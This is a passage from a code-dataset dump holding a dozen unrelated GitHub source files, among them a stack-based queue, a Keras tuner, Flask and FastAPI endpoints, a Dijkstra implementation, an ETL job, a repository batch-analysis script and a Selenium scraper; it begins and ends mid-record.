a queue is a FIFO (first-in, first-out) data structure\n with the following methods: enqueue(element), which inserts an element into the queue, and dequeue(),\n which removes it.\n \"\"\"\n def __init__(self):\n self._tmp_stack = Stack()\n self._queue_stack = Stack()\n self._count = 0\n\n def enqueue(self, element):\n \"\"\"\n - If the queue stack is empty, then empty the tmp stack\n into it.\n - Otherwise push the new element onto the tmp stack\n \"\"\"\n self._tmp_stack.push(element)\n if self._queue_stack.is_empty():\n self._move_stack(self._tmp_stack, self._queue_stack)\n\n self._count += 1\n\n def dequeue(self):\n \"\"\"\n Always dequeue from the queue stack\n \"\"\"\n if self._queue_stack.is_empty():\n if not self._tmp_stack.is_empty():\n self._move_stack(self._tmp_stack, self._queue_stack)\n self._count -= 1\n return self._queue_stack.pop()\n else:\n return None\n else:\n self._count -= 1\n return self._queue_stack.pop()\n\n @property\n def head(self):\n if not self._queue_stack.is_empty():\n return self._queue_stack.peek()\n elif not self._tmp_stack.is_empty():\n self._move_stack(self._tmp_stack, self._queue_stack)\n return self._tmp_stack.peek()\n else:\n return None\n\n @property\n def count(self):\n return self._count\n\n @staticmethod\n def _move_stack(from_, to):\n while not from_.is_empty():\n to.push(from_.pop())\n\n\nif __name__ == '__main__':\n q = Queue()\n q.enqueue(10)\n q.enqueue(4)\n assert q.head == 10\n q.enqueue(7)\n assert q.dequeue() == 10\n assert q.count == 2\n q.enqueue(-1)\n assert q.head == 4\n assert q.dequeue() == 4\n assert q.count == 2\n assert q.head == 7\n q.dequeue()\n assert q.count == 1\n assert q.dequeue() == -1\n assert q.count == 0\n assert q.dequeue() is None\n assert q.head is None\n assert q.count == 0\n","repo_name":"mohamedabdelbary/algo-exercises","sub_path":"python/queue_using_stacks.py","file_name":"queue_using_stacks.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19356130555","text":"from keras_tuner import HyperModel\nfrom tensorflow.keras import Model, layers, metrics\nfrom tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau\nfrom components.classification_metrics import f1_m\nfrom tensorflow import keras\n\n\nclass NLPHyperModel(HyperModel):\n\n def __init__(self, epochs: int, outp_shape: int, maxlen: int, patience: int):\n \"\"\"Initialization of Tuner component.\n\n Args:\n epochs (int): Number of epochs.\n outp_shape (int): Shape of last layer.\n maxlen (int): Maximum lenght of a sequence.\n patience (int): Early stopping patience.\n \"\"\"\n self.outp_shape = outp_shape\n self.epochs = epochs\n self.maxlen = maxlen\n self.patience = patience\n\n def build(self, hp):\n \"\"\"Build and compile model\n\n Args:\n hp (dict): Hyperparameter set.\n\n Returns:\n keras.Model: Compiled model.\n \"\"\"\n if self.outp_shape > 2:\n layer_in, layer_out = self._get_inp_outp_layer(hp=hp)\n model = Model(inputs=layer_in, outputs=layer_out)\n model.compile(\n optimizer=\"adam\",\n loss=\"categorical_crossentropy\",\n metrics=[\"accuracy\",\n metrics.FalsePositives(),\n metrics.FalseNegatives(),\n metrics.Precision(),\n metrics.Recall(), f1_m],\n )\n else:\n layer_in, layer_out = self._get_inp_outp_layer(hp=hp)\n model = Model(inputs=layer_in, outputs=layer_out)\n model.compile(\n optimizer=\"adam\",\n loss=\"mse\",\n metrics=[\"cosine_similarity\", \"mae\"],\n )\n model.summary()\n return model\n\n def _get_inp_outp_layer(self, hp):\n \"\"\"Generate network structe based on the hyperparameter space.\n\n Args:\n hp (dict): Hyperparameter set.\n\n Returns:\n tuple: Input and output layer.\n \"\"\"\n layer_num_LSTM = hp.Int(\"LSTM_layer_num\", 1, 3)\n layer_num_dense = hp.Int(\"Dense_layer_num\", 1, 3)\n embed_dim = hp.Int(\"Embeeded_dim\", int(\n self.maxlen/10), int(self.maxlen/5))\n\n layer_in = keras.Input(shape=(None,))\n\n embedding = layers.Embedding(self.maxlen, embed_dim)(layer_in)\n\n for i in range(layer_num_LSTM):\n if i == 0:\n if i != layer_num_LSTM-1:\n layer_LSTM = layers.Bidirectional(layers.LSTM(hp.Int(\n f\"LSTM_units_{i}\", min_value=50, max_value=150), return_sequences=True))(embedding)\n else:\n layer_LSTM = layers.Bidirectional(layers.LSTM(\n hp.Int(f\"LSTM_units_{i}\", min_value=50, max_value=150)))(embedding)\n\n else:\n if i != layer_num_LSTM-1:\n layer_LSTM = layers.Bidirectional(layers.LSTM(hp.Int(\n f\"LSTM_units_{i}\", min_value=50, max_value=150), return_sequences=True))(layer_LSTM)\n else:\n layer_LSTM = layers.Bidirectional(layers.LSTM(\n hp.Int(f\"LSTM_units_{i}\", min_value=50, max_value=150)))(layer_LSTM)\n\n for i in range(layer_num_dense):\n if i == 0:\n layer_dense = layers.Dense(\n hp.Int(f\"dense_units_{i}\", min_value=50, max_value=150), activation=hp.Choice(f\"Dense_activations_{i}\", [\"relu\", \"sigmoid\", \"selu\"]))(layer_LSTM)\n else:\n layer_dense = layers.Dense(\n hp.Int(f\"dense_units_{i}\", min_value=50, max_value=150), activation=hp.Choice(f\"Dense_activations_{i}\", [\"relu\", \"sigmoid\", \"selu\"]))(layer_dense)\n if self.outp_shape > 2:\n layer_out = layers.Dense(\n self.outp_shape, activation=\"softmax\")(layer_dense)\n else:\n layer_out = layers.Dense(\n self.outp_shape, activation=hp.Choice(f\"Output_activations\", [\"relu\", \"sigmoid\", \"linear\"]))(layer_dense)\n\n return layer_in, layer_out\n\n def fit(self, hp, model, refit=False, *args, **kwargs):\n \"\"\"Fit model. It can be used during the training also.\n\n Args:\n hp (dict): Hyperparameters.\n model (keras.Model): Builded keras model.\n refit (bool, optional): Is it a tuning, or training. Defaults to False.\n\n Returns:\n history-object: History of training.\n \"\"\"\n if refit:\n earlystopping = EarlyStopping(\n monitor='val_loss', mode='min', verbose=1, patience=self.patience)\n reduce_lr = ReduceLROnPlateau(\n monitor='val_loss', factor=0.1, patience=2, min_lr=0.00001)\n\n return model.fit(callbacks=[earlystopping, reduce_lr], epochs=self.epochs, *args, **kwargs)\n else:\n return model.fit(*args, **kwargs)\n","repo_name":"feketedavid1012/the-ventury-nlp","sub_path":"components/tuner.py","file_name":"tuner.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3724728921","text":"from importlib.resources import path\nfrom urllib import response\nfrom flask import Flask\nfrom pathlib import Path\nimport os\nimport random\nimport threading\nimport feedparser\nimport sys\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom datetime import datetime\n\n\n\nsys.path.insert(0, os.path.join(str(Path().absolute()), \"urls\"))\n\nfrom news import NEWS\n\n\napp = Flask(__name__)\n\nnewsIndex = {}\nnow = datetime.now()\n\ndef downloadNews(key, val):\n try:\n newsIndex[key] = []\n url = val\n blog=feedparser.parse(url)\n items= blog[\"entries\"]\n for i in items:\n temp={}\n temp[\"title\"]=i[\"title\"]\n temp[\"link\"]=i[\"link\"]\n temp[\"pubDate\"]=now.strftime(\"%d/%m/%Y\")\n newsIndex[key].append(temp)\n except:\n print(\"error\")\n\n\ndef getNews():\n for k, v in NEWS.items():\n threads = []\n for i in v:\n t = threading.Thread(target=downloadNews, args=(k, i))\n threads.append(t)\n\n for t in threads:\n t.start()\n\n for t in threads:\n t.join()\n for i in v:\n downloadNews(k,i)\n \n print(newsIndex)\n\n\n\ngetNews()\nsched = BackgroundScheduler(daemon=True)\nsched.add_job(getNews, 'interval', minutes=30)\nsched.start()\n\n\n@app.route(\"/\")\ndef home():\n response = {}\n response[\"top\"] = newsIndex[\"top\"]\n return response\n\n\n@app.route('/')\ndef category(name):\n response = {}\n response[name] = newsIndex[name]\n return response\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"BenMeehan/news-api","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15462164694","text":"class Auto:\n def __init__(self, rTunnus, huippuNopeus, nykyinenNopeus=0, kuljettuMatka=0):\n self.rTunnus = rTunnus\n self.huippuNopeus = huippuNopeus\n self.nykyinenNopeus = nykyinenNopeus\n self.kuljettuMatka = kuljettuMatka\n\n def kiihdyta(self, nMuutos):\n self.nykyinenNopeus += nMuutos\n if self.nykyinenNopeus < 0:\n self.nykyinenNopeus = 0\n elif self.nykyinenNopeus > self.huippuNopeus:\n self.nykyinenNopeus = self.huippuNopeus\n\n def kulje(self, tuntiMaara):\n self.kuljettuMatka += self.nykyinenNopeus * tuntiMaara\n\nclass Sahkoauto(Auto):\n def __init__(self, rTunnus, huippuNopeus, akkuKapasiteetti):\n super().__init__(rTunnus, huippuNopeus)\n self.akkuKapasiteetti = akkuKapasiteetti\n\nclass Polttomoottoriauto(Auto):\n def __init__(self, rTunnus, huippuNopeus, bensaTankki):\n super().__init__(rTunnus, huippuNopeus)\n self.bensaTankki = bensaTankki\n\nsahkoAuto = Sahkoauto(\"ABC-15\", 180, 52.5)\npolttoAuto = Polttomoottoriauto(\"ACD-123\", 165, 32.3)\n\ntunnit = 0\nwhile True:\n sahkoAuto.kiihdyta(50)\n sahkoAuto.kulje(1)\n\n polttoAuto.kiihdyta(100)\n polttoAuto.kulje(1)\n\n print(\"Rekisteritunnus: \" + str(sahkoAuto.rTunnus) + \", nykyinen nopeus: \" + str(sahkoAuto.nykyinenNopeus) + \" km/h, kuljettu matka:: \" + str(sahkoAuto.kuljettuMatka) + \" km, akun kapasiteetti:\" + str(sahkoAuto.akkuKapasiteetti) + \" kWh\")\n print(\"Rekisteritunnus: \" + str(polttoAuto.rTunnus) + \", nykyinen nopeus: \" + str(polttoAuto.nykyinenNopeus) + \"km/h , kuljettu matka: \" + str(polttoAuto.kuljettuMatka) + \" km, bensatankki:\" + str(polttoAuto.bensaTankki) + \" l\")\n tunnit += 1\n if tunnit == 3:\n break","repo_name":"tormAtt/ohjelmisto2","sub_path":"moduuli11/tehtava2m11.py","file_name":"tehtava2m11.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43154703127","text":"from rest_framework import generics, permissions, filters\nfrom django.db.models import Count\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom .models import Caption\nfrom .serializers import CaptionSerializer\nfrom lastseenapi.permissions import IsOwnerOrReadOnly\n\n\nclass CaptionList(generics.ListCreateAPIView):\n \"\"\"\n List all captions\n Create a caption\n Perform_create method associates caption with logged in user\n \"\"\"\n serializer_class = CaptionSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Caption.objects.annotate(\n comments_count=Count('comment', distinct=True),\n fave_count=Count('fave', distinct=True)\n ).order_by('-created_at')\n\n filter_backends = [\n filters.OrderingFilter,\n filters.SearchFilter,\n DjangoFilterBackend,\n ]\n filterset_fields = [\n 'love__owner__profile',\n 'owner__profile',\n 'fave__owner__profile',\n ]\n search_fields = [\n 'owner__username',\n 'title',\n ]\n ordering_fields = [\n 'comments_count',\n 'love__created_at',\n 'fave__created_on',\n 'fave_count',\n ]\n\n def perform_create(self, serializer):\n serializer.save(owner=self.request.user, location=self.request.data[\n 'location'])\n\n\nclass CaptionDetail(generics.RetrieveUpdateDestroyAPIView):\n \"\"\"\n For caption owner to update and delete caption\n Handles requests for captions that don't exist\n \"\"\"\n serializer_class = CaptionSerializer\n permission_classes = [IsOwnerOrReadOnly]\n queryset = Caption.objects.annotate(\n comments_count=Count('comment', distinct=True),\n love_count=Count('love', distinct=True),\n fave_count=Count('fave', distinct=True)\n ).order_by('-created_at')\n","repo_name":"BZemba87/lastseen-rest-api","sub_path":"captions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38391006398","text":"\"\"\"Config file for the SES Optimization\n\nContains constants particular to the SES\n\"\"\"\nfrom sesClasses import TimeSlot\n\n#Heat Maps for requests\n__time_grid__ = [\"8:30 AM\", \"9:00 AM\", \"9:30 AM\", \"10:00 AM\", \"10:30 AM\", \n \"11:00 AM\", \"11:30 AM\", \"12:00 PM\",\"12:30 PM\", \"1:00 PM\", \n \"1:30 PM\", \"2:00 PM\", \"2:30 PM\", \"3:00 PM\", \"3:30 PM\", \n \"4:00 PM\", \"4:30 PM\", \"5:00 PM\", \"5:30 PM\", \"6:00 PM\", \n \"6:30 PM\", \"7:00 PM\", \"7:30 PM\", \"8:00 PM\"]\n\nclass Options:\n def __init__(self, file_path=None):\n \"\"\"Initialize the config details\"\"\"\n if file_path is not None:\n raise NotImplementedError(\"Not yet supported.\")\n \n self.FIRST_CLASS = \"8:30 AM\"\n self.LAST_CLASS = \"8:00 PM\"\n self.FIRST_SEMINAR = \"4:00 PM\"\n \n self.SLOAN_BLOCKS = ((\"8:30 AM\", \"10:00 AM\"), (\"10:00 AM\", \"11:30 AM\"), \n (\"11:30 AM\", \"1:00 PM\"), (\"1:00 PM\", \"2:30 PM\"), \n (\"2:30 PM\", \"4:00 PM\"), (\"4:00 PM\", \"5:30 PM\"))\n \n self.FREE_TIME = TimeSlot(\"F\", \"M T W Th\", \"11:30 AM\", \"1:00 PM\")\n\n #Pref Score Weight enforced to be >= this quantitiy\n self.EPS_SAFETY_OVERRIDE = 1e-3\n\n #Penalty for violating soft-constraint\n self.SOFT_CNST_PENALTY = 1e3\n \n #solver parameters\n self.REL_GAP = 1e-2\n","repo_name":"vgupta1/ClassE","sub_path":"OptimizationTools/lib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71196063234","text":"from utils import *\n\nclass Behavior:\n\n host = \"\"\n behaviors = []\n states = []\n transitions = []\n\n def __init__(this, hostBehav):\n '''Sets the behavior's host variable and calls the Load() method.'''\n this.behaviors = []\n this.states = []\n this.transitions = []\n this.host = firstString(hostBehav)\n this.Load(hostBehav)\n\n def Load(this, src):\n '''Fills the behaviors, states, and transitions variables based on the src parameter.'''\n tLine = \"\"\n sLine = \"\"\n lines = src.split(\"\\n\")\n for line in lines:\n tLine = TrimBehaviorLine(line)\n if (len(tLine) == 0):\n continue\n sLine = beforeFirst(tLine, \"(\").strip(\" \")\n if (len(sLine) == 0):\n return\n elif sLine.lower().find(\"state\") != -1:\n this.states.append(firstString(tLine))\n elif sLine.lower().find(\"transition\") != -1:\n this.transitions.append(sLine)\n else:\n dats = firstString(tLine)\n dats2 = firstNumber(afterFirst(tLine, dats))\n if (len(dats) > 0 or dats2 > 0):# and dats.find(\"Potion\") == -1):\n this.behaviors.append((sLine, (dats, dats2)))\n\n def BehaviorsOfType(this, bType):\n '''Returns a list of values from this object's behavior dictionary where the key equals the bType parameter and the value is not empty.'''\n return [x[1] for x in this.behaviors if x[0] == bType]\n\ndef TrimBehaviorLine(src):\n '''Returns an empty string or a string starting at the behavior's name.'''\n if (beforeFirst(src, \"new \").find(\"//\") != -1):\n return \"\"\n return afterFirst(src, \"new \")\n\ndef GetBehaviors(src):\n '''Returns an array of behaviors, parsed from the src parameter.'''\n ret = []\n behavs = src.split(\".Init\")[1:]\n for enemyBehav in behavs:\n behav = Behavior(enemyBehav)\n ret.append(behav)\n return ret\n\ndef GetBehaviorsFromGlob(globSrc):\n '''Returns an array containing every behavior from every file in the globSrc parameter.'''\n from glob import glob\n ret = []\n for fileName in glob(globSrc):\n print (afterFirst(fileName, \".\"))\n fo = open(fileName)\n fileText = fo.read()\n fo.close()\n ret.extend(GetBehaviors(fileText))\n return ret\n\ndef GetEnemyLootAndPerc(behavs, excludeCondition):\n ''' Params: Behavior[] behavs, predicate> excludeCondition\n Returns: string\n Returns a formatted string containing a list of enemies, loot, and drop chances. Does not include loots where excludeCondition(loot) is True.\n '''\n ret = \"\"\n\n for behav in behavs:\n #select only itemloot behaviors\n loots = behav.BehaviorsOfType(\"ItemLoot\");\n # add and format the enemy's name and loot to the output string\n if len(loots) == 0:\n continue\n shortList = \"\"\n loots.sort()\n for loot in loots:\n if excludeCondition(loot):\n continue\n shortList += \"\\t\" + loot[0] + \", \" + str(round(loot[1] * 100, 3)) + \"%\\n\"\n\n if shortList != \"\":\n ret += behav.host + \":\\n\" + shortList\n\n return ret\n\ndef GetLootAndEnemyPerc(behavs):\n ''' Params: Behavior[] behavs\n Returns: Dictionary>>\n Returns: \n '''\n lootPercs = {}\n for behav in behavs:\n #select only itemloot behaviors\n loots = behav.BehaviorsOfType(\"ItemLoot\");\n \n for loot in loots:\n if (loot[0] not in lootPercs):\n lootPercs[loot[0]] = [(behav.host, round(loot[1] * 100, 5))]\n else:\n lootPercs[loot[0]].append((behav.host, round(loot[1] * 100, 5)))\n\n return lootPercs\n\ndef GetAllDrops(behavs, exclude=[]):\n ''' Params: Behavior[] behavs, string[] exclude\n Returns: string[]\n Returns a string[] with every item that drops in the behavs parameter and is not in the exclude parameter. No repeated items and the items are alphabetically sorted.\n '''\n ret = []\n for behav in behavs:\n loots = behav.BehaviorsOfType(\"ItemLoot\")\n for loot in loots:\n if loot[0] in exclude or loot[0] in ret:\n continue\n ret.append(loot[0])\n ret.sort()\n return ret\n\n","repo_name":"EpicQuackIV/ut-utility","sub_path":"wiki-generator/behaviors/behavior.py","file_name":"behavior.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8625333326","text":"#!/usr/bin/env python3\nimport csv\nimport os\nimport re\nfrom multiprocessing.pool import ThreadPool\n\nrepo_regex = \"https://(?P(\\\\w+\\\\.)+(\\\\w+))/(?P([a-zA-Z0-9_]|\\\\.|-)+)/(?P([a-zA-Z0-9_]|\\\\.|-)+)/?\"\n# git_pattern = 'git@{}:{}/{}.git'\ngit_pattern = \"https://{}/{}/{}.git\"\n\nlocal_repo_dir = \"~/near-repo/\"\nlocal_report_dir = \".near_reports/\"\n\nos.makedirs(local_repo_dir, exist_ok=True)\nos.makedirs(local_report_dir, exist_ok=True)\n\n\"\"\"\nProcess csv and get the repo url data\n\"\"\"\nurl_list = []\nwith open(\"docs/analysis/near-dapp-collection.csv\", newline=\"\") as csv_file:\n spam_reader = csv.reader(csv_file, delimiter=\",\")\n for row in spam_reader:\n matches = re.match(repo_regex, row[8])\n if matches != None:\n url_list.append(matches.groupdict())\nprint(url_list)\n\n\"\"\"\nClone the repo\n\"\"\"\nfor url in url_list:\n print(\"\\n[*] Cloning {}\".format(url[\"repo\"]))\n if not os.path.isdir(local_repo_dir + url[\"repo\"]):\n os.system(\n (\"git clone \" + git_pattern + \" {}\").format(\n url[\"service\"], url[\"user\"], url[\"repo\"], local_repo_dir + url[\"repo\"]\n )\n )\n else:\n print(\"[!] Repo {} already exists\".format(url[\"repo\"]))\n\n\n\"\"\"\nRun the analysis\n\"\"\"\nos.system(\"mkdir \" + local_report_dir)\n\n\ndef analysis(repo):\n # repo = url['repo']\n print(\"\\n[*] Analyzing {}\".format(repo))\n os.environ[\"NEAR_SRC_DIR\"] = local_repo_dir + repo\n # os.system('make -C ~/near_core clean_tg')\n os.system(\"make -C ~/near analysis > \" + local_report_dir + repo + \".txt\")\n\n\nif True: # use linear processing\n for repo in os.listdir(\"/home/xiyao/near-repo\"):\n analysis(repo)\nelse: # use multiprocessing\n analysis_pool = ThreadPool(16)\n analysis_pool.map(analysis, url_list)\n analysis_pool.close()\n analysis_pool.join()\n","repo_name":"blocksecteam/rustle","sub_path":"utils/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"61"} +{"seq_id":"20180994848","text":"from typing import Optional, List\nfrom fastapi import Response, status, HTTPException, Depends, APIRouter\nfrom sqlalchemy.orm import Session\n\nfrom appORM import models, schemas, oauth2\nfrom appORM.database import get_db\n\nrouter = APIRouter(\n prefix = \"/posts\",\n tags = [\"Posts\"]\n)\n\n@router.get(\"/\", response_model=List[schemas.PostResponse])\ndef getPosts(db: Session = Depends(get_db), currentUser: int = Depends(oauth2.getCurrentUser), limit: int = 10, skip: int = 0, search: Optional[str] = \"\"):\n posts = db.query(models.Post).filter(models.Post.title.contains(search)).limit(limit).offset(skip).all()\n\n if not posts:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"No post found\")\n\n return posts\n\n@router.get(\"/{id}\", response_model=schemas.PostResponse)\ndef getPostById(id: int, db: Session = Depends(get_db), currentUser: int = Depends(oauth2.getCurrentUser)):\n post = db.query(models.Post).filter(models.Post.id == id).first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"post with id: {id} not found\")\n\n return post\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED, response_model=schemas.PostResponse)\ndef createPost(post: schemas.PostCreate, db: Session = Depends(get_db), currentUser: int = Depends(oauth2.getCurrentUser)):\n newPost = models.Post(ownerId=currentUser.id, **post.dict())\n\n db.add(newPost)\n db.commit()\n db.refresh(newPost)\n\n return newPost\n\n@router.put(\"/{id}\", response_model=schemas.PostResponse)\ndef updatePost(id: int, postUpdate: schemas.PostCreate, db: Session = Depends(get_db), currentUser: int = Depends(oauth2.getCurrentUser)):\n postQuery = db.query(models.Post).filter(models.Post.id == id, models.Post.ownerId == currentUser.id)\n post = postQuery.first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail = f\"Not authorised to update this post\")\n\n postQuery.update(postUpdate.dict(), synchronize_session=False)\n\n db.commit()\n \n return postQuery.first()\n\n@router.delete(\"/{id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef deletePost(id: int, db: Session = Depends(get_db), currentUser: int = Depends(oauth2.getCurrentUser)):\n postQuery = db.query(models.Post).filter(models.Post.id == id, models.Post.ownerId == currentUser.id)\n post = postQuery.first()\n\n if not post:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail = f\"Not authorised to delete this post\") \n\n postQuery.delete(synchronize_session=False)\n db.commit()\n\n return Response(status_code=status.HTTP_204_NO_CONTENT)","repo_name":"kglearn/fastapi","sub_path":"appORM/routers/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27221281807","text":"from AdjacentMatrix import Graph\nimport numpy as np\nimport math\nimport time\n\ndef Dijkstra(G, s):\n global Q,S\n '''Find the shortest path from one node to all nodes using Dijkstra algorithm'''\n\n Initialize(G, s)\n Confirmed = set()\n \n Q = []\n for i in range(N):\n Q.append({i:G.matrix[s][i]})\n \n while Q:\n time.sleep(1)\n minima = float(\"inf\")\n for idx, ele in enumerate(Q):\n val = list(ele.values())[0]\n if val < minima:\n minima = val\n key = list(ele.keys())[0]\n\n for idx, i in enumerate( Q ):\n if list( i.keys() )[0] == key:\n Q.pop(idx)\n print(\"Queue\",Q)\n S[key] = True\n Confirmed.add(key)\n # find node's neighbor\n for num, each in enumerate(G.matrix[key]):\n if math.isfinite(each) and not S[num]:\n Relax(key,num,minima)\n\n\ndef Initialize(G, s):\n global PathCostMatrix\n PathCostMatrix[s] = 0\n \n\ndef Relax(key, num, new_path_cost):\n print(f\"Relaxing {key} and {num}\")\n global Q\n orig_cost = 0\n for i, ele in enumerate(Q):\n if list( ele.keys() )[0] == num:\n orig_cost = list( ele.values() )[0]\n idx = i\n print(f\"orig cost{orig_cost}, new_cost{new_path_cost+ G.matrix[key, num]}\")\n\n if (orig_cost) > (new_path_cost + G.matrix[key, num]):\n \n Q[idx] = {num:(new_path_cost + G.matrix[key, num])}\n Parents[num] = key\n print(\"Queue after relax\", Q)\n\n\nif __name__ == '__main__':\n N = 8\n Parents = [None]*N\n S = [False]*N\n G = Graph(N,Direct=True)\n G.DiCostEdge(1,0,300)\n G.DiCostEdge(2,1,800)\n G.DiCostEdge(3,2,1200)\n G.DiCostEdge(4,3,1500)\n G.DiCostEdge(5,3,1000)\n G.DiCostEdge(4,5,250)\n G.DiCostEdge(5,6,900)\n G.DiCostEdge(6,7,1000)\n G.DiCostEdge(5,7,1400)\n G.DiCostEdge(2,0,1000)\n G.DiCostEdge(7,0,1700)\n\n #print(G.matrix[4])\n PathCostMatrix = [float(\"inf\")]*N\n\n Dijkstra(G, 4)","repo_name":"chinaoel/DataStructure","sub_path":"C_Data_Structure/Graph/Dijkstra.py","file_name":"Dijkstra.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7308567567","text":"from os import environ\nfrom time import sleep\nfrom sqlalchemy import create_engine, Column, Float, String, Integer, inspect\nfrom sqlalchemy.exc import OperationalError\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nimport json\nfrom geopy.distance import geodesic\nfrom datetime import datetime\n\n\nprint('Waiting for the data generator...')\nsleep(20)\nprint('ETL Starting...')\n\nwhile True:\n try:\n postgres_engine = create_engine(environ[\"POSTGRESQL_CS\"], pool_pre_ping=True, pool_size=10)\n mysql_engine = create_engine(environ[\"MYSQL_CS\"], pool_pre_ping=True, pool_size=10)\n break\n except OperationalError:\n sleep(0.1)\nprint('Connection to PostgresSQL & MYSQL successful.')\n\n# Write the solution here\nBase = declarative_base()\n\n# Define the table structure for the PostgreSQL database\nclass DeviceData(Base):\n __tablename__ = 'devices'\n id = Column(Integer, primary_key=True)\n device_id = Column(String)\n temperature = Column(Integer)\n location = Column(String)\n time = Column(String)\n\n# Define the table structure for the MySQL database\nclass ResultData(Base):\n __tablename__ = 'analytics_data'\n id = Column(Integer, primary_key=True)\n device_id = Column(String(50))\n hour = Column(Integer)\n max_temperature = Column(Integer)\n total_distance = Column(Float)\n data_point_count = Column(Integer)\n\n\n# Create the sessions for PostgreSQL and MySQL databases\nPostgresSession = sessionmaker(bind=postgres_engine)\npostgres_session = PostgresSession()\nMySQLSession = sessionmaker(bind=mysql_engine)\nmysql_session = MySQLSession()\n\n# Defining functions for ETL Process\n\ndef extract_data():\n # Query the PostgreSQL database and calculate total distance, max temperature, and data point count for each device and hour\n result = postgres_session.query(DeviceData.device_id, DeviceData.time, DeviceData.location, DeviceData.temperature).all()\n return result\n\ndef transform_data(result):\n grouped_data = {}\n for device_id, time, location, temperature in result:\n timestamp = int(time)\n hour = datetime.fromtimestamp(timestamp).hour\n\n if device_id not in grouped_data:\n grouped_data[device_id] = {}\n \n if hour not in grouped_data[device_id]:\n grouped_data[device_id][hour] = {\n 'total_distance': 0.0,\n 'max_temperature': float('-inf'),\n 'data_point_count': 0,\n 'previous_location': None\n }\n \n if grouped_data[device_id][hour]['previous_location']:\n lat1, lon1 = json.loads(grouped_data[device_id][hour]['previous_location'])['latitude'], \\\n json.loads(grouped_data[device_id][hour]['previous_location'])['longitude']\n lat2, lon2 = json.loads(location)['latitude'], json.loads(location)['longitude']\n distance = geodesic((lat1, lon1), (lat2, lon2)).miles\n grouped_data[device_id][hour]['total_distance'] += distance\n \n if temperature > grouped_data[device_id][hour]['max_temperature']:\n grouped_data[device_id][hour]['max_temperature'] = temperature\n \n grouped_data[device_id][hour]['data_point_count'] += 1\n grouped_data[device_id][hour]['previous_location'] = location\n return grouped_data\n\ndef write_data(grouped_data):\n # Check if the \"result_data\" table exists in the MySQL database, create it if necessary\n try:\n if not inspect(mysql_engine).has_table(ResultData.__tablename__):\n ResultData.__table__.create(mysql_engine)\n except OperationalError:\n pass\n # Write the calculated values to the MySQL database\n for device_id, hour_data in grouped_data.items():\n for hour, data in hour_data.items():\n result_data = ResultData(\n device_id=device_id,\n hour=hour,\n max_temperature=data['max_temperature'],\n total_distance=data['total_distance'],\n data_point_count=data['data_point_count']\n )\n mysql_session.add(result_data)\n # Commit the changes to the MySQL database\n mysql_session.commit()\n\n# Main ETL Function\ndef ETL():\n result = extract_data()\n grouped_data = transform_data(result)\n write_data(grouped_data)\n\n# Run the ETL\nETL()\n\nprint('ETL Performed Successfully.')\n\n# Close the sessions\npostgres_session.close()\nmysql_session.close()\n","repo_name":"TayyabaQ/data-engineering-task","sub_path":"analytics/analytics.py","file_name":"analytics.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40283262694","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nfrom tqdm import tqdm\n\ntournaments_data = open('tournaments.csv', 'w')\ntournaments_data.write('Tournament' + ',' + 'Court' + ',' + 'Type'+'\\n')\nfor i in tqdm(range(2, 13)):\n for j in tqdm(range(1, 11)):\n try:\n PATH = \"C:\\Program Files (x86)\\chromedriver.exe\"\n options = Options()\n # options.add_argument(\"--headless\")\n # options.add_argument('--disable-gpu')\n options.add_argument(\"--disable-extensions\")\n driver = webdriver.Chrome(PATH,options=options)\n driver.get('https://www.atptour.com/en/tournaments')\n tournaments_name = driver.find_element_by_xpath('//*[@id=\"contentAccordionWrapper\"]/div['+str(i)+']/div[2]/div/table/tbody/tr['+str(j)+']/td[2]/a').text\n tournaments_data.write(tournaments_name + ',')\n tournaments_court = driver.find_element_by_xpath('//*[@id=\"contentAccordionWrapper\"]/div['+str(i)+']/div[2]/div/table/tbody/tr['+str(j)+']/td[3]/table/tbody/tr/td[2]').text\n tournaments_data.write(tournaments_court + ',')\n if i==8 and j ==7:\n tournaments_data.write('\\n')\n else:\n src_point = 